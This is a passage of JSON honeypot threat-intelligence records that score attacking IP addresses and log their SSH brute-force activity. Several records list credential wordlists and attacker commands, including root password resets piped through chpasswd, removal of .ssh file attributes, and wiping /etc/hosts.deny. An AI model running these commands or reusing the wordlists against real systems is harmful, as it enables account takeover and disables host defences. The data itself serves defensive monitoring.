      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 327900,
      "as_org": "SIMPLYCONNECT-Simply-Computers",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:31:29.283000+00:00",
        "last_seen_30d": "2026-03-11T22:32:31.057000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "180.15.206.139": {
      "attack_count": 2,
      "first_seen": "2026-03-03T11:08:59.171Z",
      "last_seen": "2026-03-03T11:09:29.975Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nagoya",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:08:59.171000+00:00",
        "last_seen_30d": "2026-03-03T11:10:32.780000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.251.1.137": {
      "attack_count": 2,
      "first_seen": "2026-03-09T21:10:50.031Z",
      "last_seen": "2026-03-09T21:11:03.235Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Assis",
      "asn": 262820,
      "as_org": "OnLine Assis Telecomunicacoes Ltda-EPP",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:10:50.031000+00:00",
        "last_seen_30d": "2026-03-09T21:12:13.234000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.94.208.39": {
      "attack_count": 2,
      "first_seen": "2026-03-28T08:45:08.155Z",
      "last_seen": "2026-03-28T08:45:21.274Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Londrina",
      "asn": 22689,
      "as_org": "SERCOMTEL SA TELECOMUNICACOES",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T08:45:08.155000+00:00",
        "last_seen_30d": "2026-03-28T08:46:30.290000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.74": {
      "attack_count": 2,
      "first_seen": "2026-03-13T22:17:04.955Z",
      "last_seen": "2026-03-13T22:17:05.287Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T13:33:48+00:00",
        "last_seen_30d": "2026-03-31T16:22:13.604000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 24,
        "ConPot": 3,
        "Dionaea": 3,
        "Cowrie": 2,
        "CitrixHoneypot": 1
      }
    },
    "222.114.206.138": {
      "attack_count": 2,
      "first_seen": "2026-03-15T05:08:36.740Z",
      "last_seen": "2026-03-15T05:09:07.170Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Tangjin",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T05:08:36.740000+00:00",
        "last_seen_30d": "2026-03-15T05:10:08.038000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "23.125.164.245": {
      "attack_count": 2,
      "first_seen": "2026-03-25T02:46:22.724Z",
      "last_seen": "2026-03-25T02:48:22.761Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Travelers Rest",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T02:46:22.724000+00:00",
        "last_seen_30d": "2026-03-25T02:59:02.336000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.42.187": {
      "attack_count": 2,
      "first_seen": "2026-03-18T04:46:30.943Z",
      "last_seen": "2026-03-18T04:46:43.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:46:30.943000+00:00",
        "last_seen_30d": "2026-03-18T04:47:52.086000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.239.202.183": {
      "attack_count": 2,
      "first_seen": "2026-03-17T09:57:13.173Z",
      "last_seen": "2026-03-17T09:57:44.209Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 268468,
      "as_org": "MXCONECT SERVICOS DE COMUNICACAO LTDA",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T09:57:13.173000+00:00",
        "last_seen_30d": "2026-03-17T09:58:54.263000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.7.135.117": {
      "attack_count": 2,
      "first_seen": "2026-03-29T14:10:22.601Z",
      "last_seen": "2026-03-29T14:10:34.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Namyangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T14:10:22.601000+00:00",
        "last_seen_30d": "2026-03-29T14:11:40.108000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "64.62.156.152": {
      "attack_count": 2,
      "first_seen": "2026-03-05T10:06:18.355Z",
      "last_seen": "2026-03-05T10:06:20.503Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 368,
        "days_active_30d": 30,
        "ports_targeted_30d": 83,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T01:04:20+00:00",
        "last_seen_30d": "2026-03-31T14:22:48.463000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 229,
        "Honeytrap": 108,
        "H0neytr4p": 16,
        "Mailoney": 6,
        "ConPot": 4,
        "Adbhoney": 2,
        "Cowrie": 2,
        "ElasticPot": 1
      }
    },
    "70.95.164.120": {
      "attack_count": 2,
      "first_seen": "2026-03-26T10:18:44.056Z",
      "last_seen": "2026-03-26T10:19:15.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:18:44.056000+00:00",
        "last_seen_30d": "2026-03-26T10:20:21.016000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "87.250.4.180": {
      "attack_count": 2,
      "first_seen": "2026-03-08T12:44:58.214Z",
      "last_seen": "2026-03-08T12:45:10.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Izhevsk",
      "asn": 3226,
      "as_org": "OOO NI",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:44:58.214000+00:00",
        "last_seen_30d": "2026-03-08T12:46:10.980000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "159.223.0.222": {
      "attack_count": 1570,
      "first_seen": "2026-03-16T04:12:34.889Z",
      "last_seen": "2026-03-16T04:39:17.362Z",
      "sessions": 314,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "ftpuser",
        "test",
        "deploy",
        "jenkins",
        "kafka",
        "oracle",
        "admin",
        "alex",
        "hadoop",
        "server",
        "student",
        "www",
        "aaa",
        "ams",
        "andrea",
        "bob",
        "chris"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "P@ssw0rd",
        "12345678",
        "p@ssw0rd",
        "password",
        "1111",
        "1234",
        "12345",
        "1",
        "11",
        "111",
        "1234567",
        "1qaz@WSX",
        "Admin@123",
        "bot",
        "m",
        "ubuntu",
        "0000",
        "090786"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 2207,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T04:12:34.889000+00:00",
        "last_seen_30d": "2026-03-16T04:40:19.433000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1570,
        "Suricata": 637
      }
    },
    "20.164.21.26": {
      "attack_count": 1246,
      "first_seen": "2026-03-09T03:47:38.341Z",
      "last_seen": "2026-03-09T04:54:35.056Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        " ",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 1756,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T03:47:38.341000+00:00",
        "last_seen_30d": "2026-03-09T04:55:44.185000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1246,
        "Suricata": 510
      }
    },
    "170.64.187.218": {
      "attack_count": 985,
      "first_seen": "2026-03-16T03:45:19.178Z",
      "last_seen": "2026-03-16T04:09:23.522Z",
      "sessions": 197,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "minecraft",
        "oracle",
        "admin",
        "ali",
        "claude",
        "debian",
        "deploy",
        "dspace",
        "frappe",
        "ftpadmin",
        "ftpuser",
        "hadoop",
        "idempiere",
        "kingbase",
        "steam",
        "vahid",
        "123456"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345678",
        "P@ssw0rd",
        "12345",
        "1234567",
        "m",
        "milad",
        "p@ssw0rd",
        "root",
        "0909",
        "1011",
        "102030",
        "11111111",
        "1111111111",
        "120989",
        "123123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1387,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:45:19.178000+00:00",
        "last_seen_30d": "2026-03-16T04:10:24.851000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 985,
        "Suricata": 402
      }
    },
    "152.32.189.21": {
      "attack_count": 725,
      "first_seen": "2026-03-19T08:18:24.542Z",
      "last_seen": "2026-03-24T13:48:16.722Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "antoine",
        "arjun",
        "arun",
        "botuser",
        "elemental",
        "hath",
        "User",
        "apps",
        "awsuser",
        "bin",
        "bitch",
        "cdr",
        "ekp",
        "erp",
        "external",
        "g",
        "hh",
        "installer"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "1234",
        "123456",
        "12345",
        "password",
        "1994",
        "1q2w3e4r5T",
        "Abc123",
        "Awsuser123",
        "Botuser123!",
        "Elemental123!",
        "G123",
        "Hh123!",
        "Installer123!",
        "Password#123",
        "Userpassword",
        "Xx123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\ncWXMOQxV3rjp\\ncWXMOQxV3rjp\\n\"|passwd",
        "echo \"123456\\nGHWXICqlT1FQ\\nGHWXICqlT1FQ\\n\"|passwd",
        "echo \"123\\nMt1hz8GG3vK2\\nMt1hz8GG3vK2\\n\"|passwd",
        "echo \"Botuser123!\\nVYLcbn1EHq3z\\nVYLcbn1EHq3z\\n\"|passwd",
        "echo \"Elemental123!\\nAKZ77aR2dR7C\\nAKZ77aR2dR7C\\n\"|passwd",
        "echo \"antoine123!\\nu4TJ1YzBffGb\\nu4TJ1YzBffGb\\n\"|passwd",
        "echo \"root:WTCA7JthVLbC\"|chpasswd|bash",
        "echo \"root:Xewm0jZhMc9i\"|chpasswd|bash",
        "echo -e \"12345678\\ncWXMOQxV3rjp\\ncWXMOQxV3rjp\"|passwd|bash",
        "echo -e \"123456\\nGHWXICqlT1FQ\\nGHWXICqlT1FQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 841,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:18:24.542000+00:00",
        "last_seen_30d": "2026-03-24T13:49:23.742000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 725,
        "Suricata": 116
      }
    },
    "104.28.233.73": {
      "attack_count": 661,
      "first_seen": "2026-03-02T20:38:22.310Z",
      "last_seen": "2026-03-25T23:10:13.620Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "openvpn",
        "solar",
        "admin1",
        "bower",
        "claude",
        "gitlab-runner",
        "kyverno",
        "nginx",
        "pavel",
        "squid",
        "vincent"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "!@#QWE123",
        "112233445566778899",
        "12345",
        "12345678",
        "12345Qwerty",
        "123abc321",
        "77777777",
        "Aaa123321",
        "Bingo@1993",
        "Gitlab-Runner123!",
        "KS@gshyx@zl1651",
        "Tt123456",
        "Vincent123!",
        "Zxc123123",
        "a123456*",
        "abcd1234$",
        "asd123asd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n0LSv5CPbHf6h\\n0LSv5CPbHf6h\\n\"|passwd",
        "echo \"password\\nNPE4X5gyptTt\\nNPE4X5gyptTt\\n\"|passwd",
        "echo \"root:1Gt9igJAeAmq\"|chpasswd|bash",
        "echo \"root:3BfmVnFrqafd\"|chpasswd|bash",
        "echo \"root:Bk4dKWzLbkTq\"|chpasswd|bash",
        "echo \"root:QHp1ouCg58fT\"|chpasswd|bash",
        "echo \"root:QIp84Lqq2OyU\"|chpasswd|bash",
        "echo \"root:cMa8KlN0nPB5\"|chpasswd|bash",
        "echo -e \"12345678\\n0LSv5CPbHf6h\\n0LSv5CPbHf6h\"|passwd|bash",
        "echo -e \"password\\nNPE4X5gyptTt\\nNPE4X5gyptTt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 13335,
      "as_org": "Cloudflare, Inc.",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 754,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:38:22.310000+00:00",
        "last_seen_30d": "2026-03-25T23:11:18.708000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 661,
        "Suricata": 93
      }
    },
    "68.183.236.1": {
      "attack_count": 563,
      "first_seen": "2026-03-14T16:01:51.914Z",
      "last_seen": "2026-03-23T15:32:14.701Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "elemental",
        "lg",
        "real",
        "soporte",
        "tigergraph",
        "admin",
        "bbb",
        "choi",
        "dev",
        "f",
        "gianluca",
        "grid",
        "hari",
        "hh",
        "iksi",
        "jason",
        "labs",
        "lh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "12345",
        "1234",
        "P@ssw0rd",
        "Password1",
        "Soporte123!",
        "Test123",
        "Vnc123!",
        "Vps@2025",
        "a5201314",
        "digitalocean",
        "elemental1234",
        "f",
        "gianlucapass",
        "grid123!",
        "hari123",
        "labs123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nf5NhzMQVy6Ou\\nf5NhzMQVy6Ou\\n\"|passwd",
        "echo \"Soporte123!\\nhhBinqBHJ3rK\\nhhBinqBHJ3rK\\n\"|passwd",
        "echo \"elemental1234\\neUw3P240Yt6q\\neUw3P240Yt6q\\n\"|passwd",
        "echo \"lgpass\\nACTFldsGL51G\\nACTFldsGL51G\\n\"|passwd",
        "echo \"password\\nUF6c8QaBdyhT\\nUF6c8QaBdyhT\\n\"|passwd",
        "echo \"root:XCtknjmjTcUV\"|chpasswd|bash",
        "echo -e \"12345678\\nf5NhzMQVy6Ou\\nf5NhzMQVy6Ou\"|passwd|bash",
        "echo -e \"Soporte123!\\nhhBinqBHJ3rK\\nhhBinqBHJ3rK\"|passwd|bash",
        "echo -e \"elemental1234\\neUw3P240Yt6q\\neUw3P240Yt6q\"|passwd|bash",
        "echo -e \"lgpass\\nACTFldsGL51G\\nACTFldsGL51G\"|passwd|bash",
        "echo -e \"password\\nUF6c8QaBdyhT\\nUF6c8QaBdyhT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 659,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T16:01:51.914000+00:00",
        "last_seen_30d": "2026-03-23T15:33:24.117000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 563,
        "Suricata": 96
      }
    },
    "173.249.52.138": {
      "attack_count": 479,
      "first_seen": "2026-03-10T08:09:58.812Z",
